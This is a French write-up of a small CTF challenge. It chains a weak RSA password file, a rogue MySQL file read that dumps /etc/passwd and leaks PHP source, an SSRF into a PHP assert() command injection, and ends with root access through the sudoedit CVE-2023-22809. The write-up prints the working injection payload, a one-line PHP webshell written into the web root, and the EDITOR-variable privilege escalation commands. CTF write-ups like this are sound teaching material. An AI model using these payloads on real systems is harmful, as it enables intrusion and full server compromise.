Introduction

Après la seconde place de l’ESNA au CTF Hack The Box University, nous nous sommes retrouvés avec plusieurs vouchers VIP inutilisé. Pour ne pas faire de gaspillage, Worty et Raccoon ont monté un petit ctf afin de faire gagner les vouchers.

How to easily bypass htaccess.

Pour cette première step on tombe sur une basic auth nous bloquant l’accès au site web. Après avoir essayé de bypass la basic auth pendant 1h j’ai checké le discord :

form

form

cat password_backup.txt
n = 27182620552013654529650369568565705748677788664051703513266337395733238092531875376829346079159553531457123241552276212754048764762797635636985153141836562181263670659187096790058296112802535209634384851308744617230046727673239246756952826924232293376061107683919851426832540778439598408277510744310544732957459849844992842925811561197892006975135616481557711186576487207986548862391841601897342637702244917677869425808610174878481560432102717330434682738133015928492136262931246958165047025992311590503274784010397877173897171306539670238221654690881938532539968726632926578906780554731266335133846058696129892487373
c = 22191733097656334441268894550966894763003962701992806393075496528993952967174413647251750076754977373902498755399169194303850560509655763776682540871791477225627505896256751452512106584484111970129639411732978383350049327064540545061771400998692603383267325046814250034587633909699306942830032698775809959654194391837301127502864751635257273516727765369322388708880846946172958917138105995807073004261089626890874309034746318223146659787721194274327239382018007819161170277785075758050241154877512783308279500090525969540211725582763797061251883840441293887160665599549949044245489628854997218046199341708747648984665
e = 64

Comme j’ai un gros niveau en crypto j’ai direct sorti mon meilleur tool :

form

(Attention, cette cascade a été réalisée par un professionnel, n’essayez surtout pas de la reproduire en CTF).

Arbitrary file read via rogue SQL.

Après avoir “trouvé” les creds on tombe directement sur un panel de configuration d’une base de données.

form

On comprend donc qu’il faut exploiter une rogue SQL :). J’ai utilisé un tool que j’ai trouvé sur github.

Petit test pour récupérer /etc/passwd.

form

form

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...

J’ai ensuite leak le source code de l’app.

form

<?php
if(isset($_POST["ip"]) && isset($_POST["username"]) && isset($_POST["password"]) &&
   !empty($_POST["ip"]) && !empty($_POST["username"]) && !empty($_POST["password"]))
{
    if(filter_var($_POST["ip"], FILTER_VALIDATE_IP))
    {
        if(strlen($_POST["username"]) < 50)
        {
            if(strlen($_POST["password"]) < 50)
            {
                try
                {
                    $mysql = new mysqli($_POST["ip"], $_POST["username"], $_POST["password"]);
                    mysqli_options($mysql, MYSQLI_OPT_LOCAL_INFILE, true);
                    $mysql->query("SELECT version()");
                    $msgOk = "Database setup completed!";
                }catch(Exception $e)
                {
                    $msgError = "An unexcepted error happened.";
                }
            }else $msgError = "Password too long.";
        }else $msgError = "Username too long.";
    }else $msgError = "Invalid IP.";
}
else
{
    if(isset($_GET['table']) && !empty($_GET['table']))
    {
        $res = filter_var($_SERVER["REMOTE_ADDR"], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE |  FILTER_FLAG_NO_RES_RANGE);
        if($res === false)
        {
            $table = $_GET['table'];
            assert("preg_match('/^[\w-]+$/','$table) === 1") or die('Only alphanumeric caracter are accepted to avoid sql injection.');
            if(in_array($_GET["table"],["users","articles"])) //todo : replace this with a real connection to the database
            {
                $msgOk = "Yes, ".$_GET["table"]." is valid";
            }
            else
            {
                $msgError = "No.";
            }
        }
    }
}
?>

Après un check rapide on remarque directement le assert, grâce à la version de php (X-Powered-By: PHP/5.6.40) on comprend que assert est vulnérable à une injection de commande.

Cependant il reste un filtre à bypass.

$res = filter_var($_SERVER["REMOTE_ADDR"], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE |  FILTER_FLAG_NO_RES_RANGE);
if($res === false)
{
  ...
}

Il est possible d’utiliser des wrappers php (php://,file:// …)dans notre rogue SQL, on peut donc utiliser http:// pour faire une SSRF.

Exemple : python2 ../RogueSQL.py -f "http://127.0.0.1/index.php?table=users

Il ne reste plus qu'à crafter notre payload pour injecter dans le assert.

')===system('echo%20\'<?=\`\$_GET[0]\`;?>\'>/var/www/html/spz.php')||intval('1'"

Je peux maintenant upload mon webshell dans /var/www/html/.

python2 ../RogueSQL.py -f "http://127.0.0.1/index.php?table=users')===system('echo%20\'<?=\`\$_GET[0]\`;?>\'>/var/www/html/spz.php')||intval('1'"

form

Bingo on a notre RCE :).

form

Privesc

Notre utilisateur à des droits sudo :), en version 1.8.19p1.

form

On va exploiter la CVE-2023-22809.

export EDITOR="nano -- /root/flag.txt" 
sudo /usr/bin/sudoedit /etc/hosts

form

Un petit challenge sympa, merci à Worty et Raccoon.